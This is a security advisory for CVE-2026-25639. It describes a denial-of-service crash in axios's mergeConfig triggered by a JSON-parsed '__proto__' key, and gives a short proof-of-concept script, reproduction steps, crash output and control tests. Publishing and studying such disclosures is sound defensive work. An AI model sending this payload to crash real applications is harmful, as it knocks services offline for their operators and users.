CVE-2026-25639: Axios affected by Denial of Service via __proto__ Key in mergeConfig

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing proto as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

javascript utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); });

When prop is 'proto':

1. JSON.parse('{"proto": {...}}') creates an object with proto as an own enumerable property 2. Object.keys() includes 'proto' in the iteration 3. mergeMap['proto'] performs prototype chain lookup, returning Object.prototype (truthy object) 4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype 5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

- Axios.request() at lib/core/Axios.js:75 - Axios.getUri() at lib/core/Axios.js:201 - All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

javascript import axios from "axios";

const maliciousConfig = JSON.parse('{"proto": {"x": 1}}'); await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

1. Clone axios repository or npm install axios 2. Create file poc.mjs with the code above 3. Run: node poc.mjs 4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function at computeConfigValue (lib/core/mergeConfig.js:100:25) at Object.forEach (lib/utils.js:280:10) at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed: | Test | Config | Result | |------|--------|--------| | Normal config | {"timeout": 5000} | SUCCESS | | Malicious config | JSON.parse('{"proto": {"x": 1}}') | CRASH | | Nested object | {"headers": {"X-Test": "value"}} | SUCCESS |

Attack scenario: An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"proto": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

- Node.js servers using axios for HTTP requests - Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.